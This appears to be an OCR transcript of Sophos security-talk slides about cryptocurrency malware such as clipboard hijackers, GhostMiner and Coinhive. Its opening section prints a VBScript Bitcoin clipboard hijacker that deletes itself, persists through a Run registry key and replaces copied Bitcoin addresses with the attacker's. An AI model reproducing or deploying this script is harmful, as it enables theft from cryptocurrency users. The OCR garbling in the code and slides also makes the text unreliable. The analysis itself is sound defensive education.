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Set objwSH

MyBTCAddres

BTCFolder =

= CreateObject("wScript.Shell")
= CreateObject("Scripting.FileSystemObject")

™ Set objFS0
P P I objFS0.DeleteFile(wscript.ScriptFullName)
On Error Re

sume Next

s = "16kTgpux2489MN7YXoyqbtQMiMa3SwDogw"

objWSH.ExpandEnvironmentStrings ("%PROGRAMDATA%") & "\Microsoft Essentials"
BTC = BTCFolder & "\Software Essentials.vbs"
RegKeyName = "Microsoft Software Essentials"

If Not objFS0.Folderexists(BTCFolder) then
objFSO.CreateFolder BTCFolder

End If

Const HKEY_CURRENT_USER = &H80000001

strComputer

— s

Set objRegistry = Getobject(“winmgmts;\\" & strComnuter 2 “\rnnf\ﬂpf:n]f'QdeagDrnv")
objRegistry.SetStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run",6| RegKeyName, chr(34) & BTC & chr(34)

Sub CreateB

TCs

Set FileBTC = objFSO.CreateTextFile(BTC, True)
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End Sub
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"On Error Resume Next"

"Set objHTML = CreateObject(" & chr(34) & "HTMLfile" & chr(34) & ")"

"Set objWSH = CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")"

HDOII

"wscrint.sleep(500)"

"Clipboard = objHTML.ParentWindow.ClipboardData.GetData(" & chr(34) & "text" & chr(34) & ")"
"LengthofClipboard = Len(Clipboard)"

"If Left(Clipboard,1) = " & chr(34) & "1" & chr(34) & " then"

"If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"

"objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ",
TEna 1T

"End If"

"If Left(Clipboard,1) = " & chr(34) & "3" & chr(34) & " then"

"If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"

"objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ",
"End If"

"End If"

n LOOp"

objWSH.run chr(34) & BTC & chr(34)
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GhostMiner




Is it worth it?
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Profit?

COINHIVE

'One of the Biggest' Coinhive
Users Made $7.69 In 3 Months

A comprehensive report looks at the rise of in-
browser cryptocurrency mining.

SOPHOS

‘ Follow ‘

& B’ld Packets Report

The XMR wallet used by this cryptomining
malware,
410ompKc8rx9eEXtAAMBRJTTm6jg8p6v3y33
UgLMsUJS3gdUh739y{7ThiSVzsU4me7hbtV
B61rf7EAVsJeRJKGQH4LFI3hR, has mined
a total of 0.63463611 XMR (~$65 USD).

What would you do with $65?



GhostMiner

437 SpXdMerQGerimDriviDNBgP3vkwnkZY 1wz TV22AbLW1oCCBDstNjXqrT3anyZ 22) 7TDEE74GkbVeQFyH2nNIC 3fchGfe Q, Lookup

Your Total Hashrate History for < 90 - days:
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- € 218,97
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@ Total Hash Rate: (24h) 0.00 H/s (12h) 0.00 H/s (1h) 0.00 H/s (10m) 0.00 H/s
i Pending Balance: 0.505246934399 XMR

& FreePayout Threshold: < 50.000 XMR -

Manual payments are disabled for your account

[@ Total Paid: 2.362739395000 XMR Payment History
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The Biggest Cryptocurrency Hacks and Scams
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Atlanta’s city government has been partially
paty paralyzed for days by a cyberattack. Traffic
il tickets can't be paid online. Wi-Fi at the

8

il airport is down.

ﬁﬁﬁl‘ﬁﬁ-i‘ I i"

/ ‘
CETOLY KLY
L) )
<4 )
A B B R S

R B Yy

'3 s uwwew
PR
52-:(9“

[/

2B
%

|
| |
ol Eﬁl EEE\M

o o e e e e 6 e IS I 3 T Vi Y3 PE 3 3 B =
1 Ja— N e

- -
e
£



SOPHOS

Cybersecurity made simple.



